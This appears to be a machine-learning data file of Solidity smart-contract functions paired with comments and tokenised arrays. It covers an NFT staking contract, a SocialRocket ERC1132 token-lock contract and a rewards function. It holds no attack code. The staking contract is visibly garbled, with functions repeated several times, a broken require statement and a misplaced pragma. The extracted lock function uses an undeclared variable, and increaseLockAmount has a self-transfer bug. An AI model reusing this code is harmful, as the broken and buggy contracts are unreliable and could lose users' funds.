} //return OEM name function getOEMNameByDname(bytes32 datanum) view public returns(bytes32){ return OEMname[designName[datanum]]; } // event to be called with blocknumber event newDesign (uint32 datanumber, bytes32 name, bytes32 cname); event newVerdict (bytes32 t1name, bytes32 name, uint32 verdictnumber, bytes32 verdict); event newOEMVerdict ( bytes32 name, uint32 verdictnumber, bytes32 verdict); }
function to get verdict
function getVerdict(uint32 num, uint32 verdictnum) view public returns (bytes32) { return verdicts[num][verdictnum]; }
5,428,108
[ 1, 915, 358, 336, 1924, 1576, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 336, 3945, 1576, 12, 11890, 1578, 818, 16, 2254, 1578, 1924, 1576, 2107, 13, 1476, 1071, 1135, 261, 3890, 1578, 13, 288, 203, 565, 327, 1924, 16287, 63, 2107, 6362, 502, 1576, 2107, 15533, 203, 225, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x29721C3CfE7A780DbAa5CE6bF3adB2cFDF248018/sources/StakingContract.sol
Interfaces for ERC20 and ERC721 Constructor function to set the rewards token and the NFT collection addresses
contract newstakes is ReentrancyGuard { using SafeERC20 for IERC20; IERC20 public immutable rewardsToken; IERC721 public immutable nftCollection; pragma solidity ^0.8.4; constructor(IERC721 _nftCollection, IERC20 _rewardsToken) { nftCollection = _nftCollection; rewardsToken = _rewardsToken; } struct StakedToken { address staker; uint256 tokenId; } struct Staker { uint256 amountStaked; StakedToken[] stakedTokens; uint256 timeOfLastUpdate; uint256 unclaimedRewards; } uint256 private rewardsPerHour = 100; mapping(address => Staker) public stakers; mapping(uint256 => address) public stakerAddress; function stake(uint256 _tokenId) external nonReentrant { if (stakers[msg.sender].amountStaked > 0) { uint256 rewards = calculateRewards(msg.sender); stakers[msg.sender].unclaimedRewards += rewards; } nftCollection.ownerOf(_tokenId) == msg.sender, "You don't own this token!" ); } function stake(uint256 _tokenId) external nonReentrant { if (stakers[msg.sender].amountStaked > 0) { uint256 rewards = calculateRewards(msg.sender); stakers[msg.sender].unclaimedRewards += rewards; } nftCollection.ownerOf(_tokenId) == msg.sender, "You don't own this token!" ); } require( nftCollection.transferFrom(msg.sender, address(this), _tokenId); StakedToken memory stakedToken = StakedToken(msg.sender, _tokenId); stakers[msg.sender].stakedTokens.push(stakedToken); stakers[msg.sender].amountStaked++; stakerAddress[_tokenId] = msg.sender; stakers[msg.sender].timeOfLastUpdate = block.timestamp; function withdraw(uint256 _tokenId) external nonReentrant { require( stakers[msg.sender].amountStaked > 0, "You have no tokens staked" ); require(stakerAddress[_tokenId] == msg.sender, "You don't own this token!"); uint256 rewards = calculateRewards(msg.sender); stakers[msg.sender].unclaimedRewards += rewards; uint256 index = 0; for (uint256 i = 0; i < stakers[msg.sender].stakedTokens.length; i++) { if ( stakers[msg.sender].stakedTokens[i].tokenId == _tokenId && stakers[msg.sender].stakedTokens[i].staker != address(0) ) { index = i; break; } } } function withdraw(uint256 _tokenId) external nonReentrant { require( stakers[msg.sender].amountStaked > 0, "You have no tokens staked" ); require(stakerAddress[_tokenId] == msg.sender, "You don't own this token!"); uint256 rewards = calculateRewards(msg.sender); stakers[msg.sender].unclaimedRewards += rewards; uint256 index = 0; for (uint256 i = 0; i < stakers[msg.sender].stakedTokens.length; i++) { if ( stakers[msg.sender].stakedTokens[i].tokenId == _tokenId && stakers[msg.sender].stakedTokens[i].staker != address(0) ) { index = i; break; } } } function withdraw(uint256 _tokenId) external nonReentrant { require( stakers[msg.sender].amountStaked > 0, "You have no tokens staked" ); require(stakerAddress[_tokenId] == msg.sender, "You don't own this token!"); uint256 rewards = calculateRewards(msg.sender); stakers[msg.sender].unclaimedRewards += rewards; uint256 index = 0; for (uint256 i = 0; i < stakers[msg.sender].stakedTokens.length; i++) { if ( stakers[msg.sender].stakedTokens[i].tokenId == _tokenId && stakers[msg.sender].stakedTokens[i].staker != address(0) ) { index = i; break; } } } stakers[msg.sender].stakedTokens[index].staker = address(0); stakers[msg.sender].amountStaked--; stakerAddress[_tokenId] = address(0); nftCollection.transferFrom(address(this), msg.sender, _tokenId); stakers[msg.sender].timeOfLastUpdate = block.timestamp; function claimRewards() external { uint256 rewards = calculateRewards(msg.sender) + stakers[msg.sender].unclaimedRewards; require(rewards > 0, "You have no rewards to claim"); stakers[msg.sender].timeOfLastUpdate = block.timestamp; stakers[msg.sender].unclaimedRewards = 0; rewardsToken.safeTransfer(msg.sender, rewards); } function availableRewards(address _staker) public view returns (uint256) { uint256 rewards = calculateRewards(_staker) + stakers[_staker].unclaimedRewards; return rewards; } function getStakedTokens(address _user) public view returns (StakedToken[] memory) { if (stakers[_user].amountStaked > 0) { StakedToken[] memory _stakedTokens = new StakedToken[](stakers[_user].amountStaked); uint256 _index = 0; for (uint256 j = 0; j < stakers[_user].stakedTokens.length; j++) { if (stakers[_user].stakedTokens[j].staker != (address(0))) { _stakedTokens[_index] = stakers[_user].stakedTokens[j]; _index++; } } return _stakedTokens; } else { return new StakedToken[](0); } } function getStakedTokens(address _user) public view returns (StakedToken[] memory) { if (stakers[_user].amountStaked > 0) { StakedToken[] memory _stakedTokens = new StakedToken[](stakers[_user].amountStaked); uint256 _index = 0; for (uint256 j = 0; j < stakers[_user].stakedTokens.length; j++) { if (stakers[_user].stakedTokens[j].staker != (address(0))) { _stakedTokens[_index] = stakers[_user].stakedTokens[j]; _index++; } } return _stakedTokens; } else { return new StakedToken[](0); } } function getStakedTokens(address _user) public view returns (StakedToken[] memory) { if (stakers[_user].amountStaked > 0) { StakedToken[] memory _stakedTokens = new StakedToken[](stakers[_user].amountStaked); uint256 _index = 0; for (uint256 j = 0; j < stakers[_user].stakedTokens.length; j++) { if (stakers[_user].stakedTokens[j].staker != (address(0))) { _stakedTokens[_index] = stakers[_user].stakedTokens[j]; _index++; } } return _stakedTokens; } else { return new StakedToken[](0); } } function getStakedTokens(address _user) public view returns (StakedToken[] memory) { if (stakers[_user].amountStaked > 0) { StakedToken[] memory _stakedTokens = new StakedToken[](stakers[_user].amountStaked); uint256 _index = 0; for (uint256 j = 0; j < stakers[_user].stakedTokens.length; j++) { if (stakers[_user].stakedTokens[j].staker != (address(0))) { _stakedTokens[_index] = stakers[_user].stakedTokens[j]; _index++; } } return _stakedTokens; } else { return new StakedToken[](0); } } function getStakedTokens(address _user) public view returns (StakedToken[] memory) { if (stakers[_user].amountStaked > 0) { StakedToken[] memory _stakedTokens = new StakedToken[](stakers[_user].amountStaked); uint256 _index = 0; for (uint256 j = 0; j < stakers[_user].stakedTokens.length; j++) { if (stakers[_user].stakedTokens[j].staker != (address(0))) { _stakedTokens[_index] = stakers[_user].stakedTokens[j]; _index++; } } return _stakedTokens; } else { return new StakedToken[](0); } } function calculateRewards(address _staker) internal view returns (uint256 _rewards) { return ((( ((block.timestamp - stakers[_staker].timeOfLastUpdate) * stakers[_staker].amountStaked) ) * rewardsPerHour) / 369); } }
9,541,101
[ 1, 10273, 364, 4232, 39, 3462, 471, 4232, 39, 27, 5340, 11417, 445, 358, 444, 326, 283, 6397, 1147, 471, 326, 423, 4464, 1849, 6138, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 394, 334, 3223, 353, 868, 8230, 12514, 16709, 288, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 565, 467, 654, 39, 3462, 1071, 11732, 283, 6397, 1345, 31, 203, 565, 467, 654, 39, 27, 5340, 1071, 11732, 290, 1222, 2532, 31, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 24, 31, 203, 565, 3885, 12, 45, 654, 39, 27, 5340, 389, 82, 1222, 2532, 16, 467, 654, 39, 3462, 389, 266, 6397, 1345, 13, 288, 203, 3639, 290, 1222, 2532, 273, 389, 82, 1222, 2532, 31, 203, 3639, 283, 6397, 1345, 273, 389, 266, 6397, 1345, 31, 203, 565, 289, 203, 203, 565, 1958, 934, 9477, 1345, 288, 203, 3639, 1758, 384, 6388, 31, 203, 3639, 2254, 5034, 1147, 548, 31, 203, 565, 289, 203, 377, 203, 565, 1958, 934, 6388, 288, 203, 3639, 2254, 5034, 3844, 510, 9477, 31, 203, 203, 3639, 934, 9477, 1345, 8526, 384, 9477, 5157, 31, 203, 203, 3639, 2254, 5034, 813, 951, 3024, 1891, 31, 203, 203, 3639, 2254, 5034, 6301, 80, 4581, 329, 17631, 14727, 31, 203, 565, 289, 203, 203, 203, 203, 203, 565, 2254, 5034, 3238, 283, 6397, 2173, 13433, 273, 2130, 31, 203, 565, 2874, 12, 2867, 516, 934, 6388, 13, 1071, 384, 581, 414, 31, 203, 565, 2874, 12, 11890, 5034, 516, 1758, 13, 1071, 384, 6388, 1887, 31, 203, 565, 445, 384, 911, 12, 11890, 5034, 389, 2316, 548, 13, 3903, 1661, 426, 8230, 970, 288, 203, 3639, 309, 261, 334, 2 ]
/** *Submitted for verification at Etherscan.io on 2020-09-28 */ pragma solidity ^0.6.2; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title ERC1132 interface * @dev see https://github.com/ethereum/EIPs/issues/1132 */ abstract contract ERC1132 { /** * @dev Reasons why a user's tokens have been locked */ mapping(address => bytes32[]) public lockReason; /** * @dev locked token structure */ struct lockToken { uint256 amount; uint256 validity; bool claimed; } /** * @dev Holds number & validity of tokens locked for a given reason for * a specified address */ mapping(address => mapping(bytes32 => lockToken)) public locked; /** * @dev Records data of all the tokens Locked */ event Locked( address indexed _of, bytes32 indexed _reason, uint256 _amount, uint256 _validity ); /** * @dev Records data of all the tokens unlocked */ event Unlocked( address indexed _of, bytes32 indexed _reason, uint256 _amount ); /** * @dev Locks a specified amount of tokens against an address, * for a specified reason and time * @param _reason The reason to lock tokens * @param _amount Number of tokens to be locked * @param _time Lock time in seconds */ function lock(string memory _reason, uint256 _amount, uint256 _time) public virtual returns (bool); /** * @dev Returns tokens locked for a specified address for a * specified reason * * @param _of The address whose tokens are locked * @param _reason The reason to query the lock tokens for */ function tokensLocked(address _of, string memory _reason) public virtual view returns (uint256 amount); /** * @dev Returns tokens locked for a specified address for a * specified reason at a specific time * * @param _of The address whose tokens are locked * @param _reason The reason to query the lock tokens for * @param _time The timestamp to query the lock tokens for */ function tokensLockedAtTime(address _of, string memory _reason, uint256 _time) public virtual view returns (uint256 amount); /** * @dev Returns total tokens held by an address (locked + transferable) * @param _of The address to query the total balance of */ function totalBalanceOf(address _of) public virtual view returns (uint256 amount); /** * @dev Extends lock for a specified reason and time * @param _reason The reason to lock tokens * @param _time Lock extension time in seconds */ function extendLock(string memory _reason, uint256 _time) public virtual returns (bool); /** * @dev Increase number of tokens locked for a specified reason * @param _reason The reason to lock tokens * @param _amount Number of tokens to be increased */ function increaseLockAmount(string memory _reason, uint256 _amount) public virtual returns (bool); /** * @dev Returns unlockable tokens for a specified address for a specified reason * @param _of The address to query the the unlockable token count of * @param _reason The reason to query the unlockable tokens for */ function tokensUnlockable(address _of, string memory _reason) public virtual view returns (uint256 amount); /** * @dev Unlocks the unlockable tokens of a specified address * @param _of Address of user, claiming back unlockable tokens */ function unlock(address _of) public virtual returns (uint256 unlockableTokens); /** * @dev Gets the unlockable tokens of a specified address * @param _of The address to query the the unlockable token count of */ function getUnlockableTokens(address _of) public virtual view returns (uint256 unlockableTokens); } interface SocialRocketContrat{ function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function totalSupply() external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); } contract SocialRocketLock is Ownable , ERC1132 { using SafeMath for uint256; mapping (address => uint256) private _released; SocialRocketContrat private rocks; address private token; string internal constant ALREADY_LOCKED = 'Tokens already locked'; string internal constant NOT_LOCKED = 'No tokens locked'; string internal constant AMOUNT_ZERO = 'Amount can not be 0'; constructor(address socialRocketContract) public { rocks = SocialRocketContrat(socialRocketContract); token = socialRocketContract; } /******** TEAM LOCK ********/ function lock(string memory _reason, uint256 _amount, uint256 _time) public override onlyOwner returns (bool) { bytes32 reason = stringToBytes32(_reason); uint256 validUntil = now.add(_time); //solhint-disable-line // If tokens are already locked, then functions extendLock or // increaseLockAmount should be used to make any changes require(tokensLocked(msg.sender, bytes32ToString(reason)) == 0, ALREADY_LOCKED); require(_amount != 0, AMOUNT_ZERO); if (locked[msg.sender][reason].amount == 0) lockReason[msg.sender].push(reason); rocks.transferFrom(msg.sender, address(this), _amount); locked[msg.sender][reason] = lockToken(_amount, validUntil, false); emit Locked(msg.sender, reason, _amount, validUntil); return true; } function transferWithLock(address _to, string memory _reason, uint256 _amount, uint256 _time) public onlyOwner returns (bool) { bytes32 reason = stringToBytes32(_reason); uint256 validUntil = now.add(_time); //solhint-disable-line require(tokensLocked(_to, _reason) == 0, ALREADY_LOCKED); require(_amount != 0, AMOUNT_ZERO); if (locked[_to][reason].amount == 0) lockReason[_to].push(reason); rocks.transferFrom(msg.sender, address(this), _amount); locked[_to][reason] = lockToken(_amount, validUntil, false); emit Locked(_to, reason, _amount, validUntil); return true; } function tokensLocked(address _of, string memory _reason) public override view returns (uint256 amount) { bytes32 reason = stringToBytes32(_reason); if (!locked[_of][reason].claimed) amount = locked[_of][reason].amount; } function tokensLockedAtTime(address _of, string memory _reason, uint256 _time) public override view returns (uint256 amount) { bytes32 reason = stringToBytes32(_reason); if (locked[_of][reason].validity > _time) amount = locked[_of][reason].amount; } function totalBalanceOf(address _of) public override view returns (uint256 amount) { amount = rocks.balanceOf(_of); for (uint256 i = 0; i < lockReason[_of].length; i++) { amount = amount.add(tokensLocked(_of, bytes32ToString(lockReason[_of][i]))); } } function extendLock(string memory _reason, uint256 _time) public override onlyOwner returns (bool) { bytes32 reason = stringToBytes32(_reason); require(tokensLocked(msg.sender, _reason) > 0, NOT_LOCKED); locked[msg.sender][reason].validity = locked[msg.sender][reason].validity.add(_time); emit Locked(msg.sender, reason, locked[msg.sender][reason].amount, locked[msg.sender][reason].validity); return true; } function increaseLockAmount(string memory _reason, uint256 _amount) public override onlyOwner returns (bool) { bytes32 reason = stringToBytes32(_reason); require(tokensLocked(msg.sender, _reason) > 0, NOT_LOCKED); rocks.transfer(address(this), _amount); locked[msg.sender][reason].amount = locked[msg.sender][reason].amount.add(_amount); emit Locked(msg.sender, reason, locked[msg.sender][reason].amount, locked[msg.sender][reason].validity); return true; } function tokensUnlockable(address _of, string memory _reason) public override view returns (uint256 amount) { bytes32 reason = stringToBytes32(_reason); if (locked[_of][reason].validity <= now && !locked[_of][reason].claimed) //solhint-disable-line amount = locked[_of][reason].amount; } function unlock(address _of) public override onlyOwner returns (uint256 unlockableTokens) { uint256 lockedTokens; for (uint256 i = 0; i < lockReason[_of].length; i++) { lockedTokens = tokensUnlockable(_of, bytes32ToString(lockReason[_of][i])); if (lockedTokens > 0) { unlockableTokens = unlockableTokens.add(lockedTokens); locked[_of][lockReason[_of][i]].claimed = true; emit Unlocked(_of, lockReason[_of][i], lockedTokens); } } if (unlockableTokens > 0) rocks.transfer(_of, unlockableTokens); } function getUnlockableTokens(address _of) public override view returns (uint256 unlockableTokens) { for (uint256 i = 0; i < lockReason[_of].length; i++) { unlockableTokens = unlockableTokens.add(tokensUnlockable(_of, bytes32ToString(lockReason[_of][i]))); } } function getremainingLockTime(address _of, string memory _reason) public view returns (uint256 remainingTime) { bytes32 reason = stringToBytes32(_reason); if (locked[_of][reason].validity > now && !locked[_of][reason].claimed) //solhint-disable-line remainingTime = locked[_of][reason].validity.sub(now); } function getremainingLockDays(address _of, string memory _reason) public view returns (uint256 remainingDays) { bytes32 reason = stringToBytes32(_reason); if (locked[_of][reason].validity > now && !locked[_of][reason].claimed) //solhint-disable-line remainingDays = (locked[_of][reason].validity.sub(now)) / 86400; } function stringToBytes32(string memory source) public pure returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(source, 32)) } } function bytes32ToString(bytes32 x) public pure returns (string memory) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint j = 0; j < 32; j++) { byte char = byte(bytes32(uint(x) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (uint256 j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } }
If tokens are already locked, then functions extendLock or increaseLockAmount should be used to make any changes
function lock(string memory _reason, uint256 _amount, uint256 _time) public override onlyOwner returns (bool) { bytes32 reason = stringToBytes32(_reason); require(tokensLocked(msg.sender, bytes32ToString(reason)) == 0, ALREADY_LOCKED); require(_amount != 0, AMOUNT_ZERO); if (locked[msg.sender][reason].amount == 0) lockReason[msg.sender].push(reason); rocks.transferFrom(msg.sender, address(this), _amount); locked[msg.sender][reason] = lockToken(_amount, validUntil, false); emit Locked(msg.sender, reason, _amount, validUntil); return true; }
8,030,160
[ 1, 2047, 2430, 854, 1818, 8586, 16, 1508, 4186, 2133, 2531, 578, 10929, 2531, 6275, 1410, 506, 1399, 358, 1221, 1281, 3478, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2176, 12, 1080, 3778, 389, 10579, 16, 2254, 5034, 389, 8949, 16, 2254, 5034, 389, 957, 13, 203, 3639, 1071, 3849, 1338, 5541, 203, 3639, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 1731, 1578, 3971, 273, 14134, 2160, 1578, 24899, 10579, 1769, 203, 203, 3639, 2583, 12, 7860, 8966, 12, 3576, 18, 15330, 16, 1731, 1578, 5808, 12, 10579, 3719, 422, 374, 16, 7981, 20305, 67, 6589, 2056, 1769, 203, 3639, 2583, 24899, 8949, 480, 374, 16, 432, 5980, 5321, 67, 24968, 1769, 203, 203, 3639, 309, 261, 15091, 63, 3576, 18, 15330, 6362, 10579, 8009, 8949, 422, 374, 13, 203, 5411, 2176, 8385, 63, 3576, 18, 15330, 8009, 6206, 12, 10579, 1769, 203, 203, 3639, 23486, 87, 18, 13866, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 389, 8949, 1769, 203, 203, 3639, 8586, 63, 3576, 18, 15330, 6362, 10579, 65, 273, 2176, 1345, 24899, 8949, 16, 923, 9716, 16, 629, 1769, 203, 203, 3639, 3626, 3488, 329, 12, 3576, 18, 15330, 16, 3971, 16, 389, 8949, 16, 923, 9716, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1313161554/0xc5b38d7942cd1a118FE170b3eb44f01b3900009f/sources/WannaStrategy.sol
@notice Collects rewards for external protocol.
function getRewards() external virtual override onlyRole(STRATEGY_ROUTER) returns (uint256) { _harvest(); uint256 rewardEarned = wantRewardCollected; if (rewardEarned < DUST_AMOUNT) { return 0; } _transferRewards(rewardEarned); return _rewardsInEth(rewardEarned); }
16,911,873
[ 1, 28791, 283, 6397, 364, 3903, 1771, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
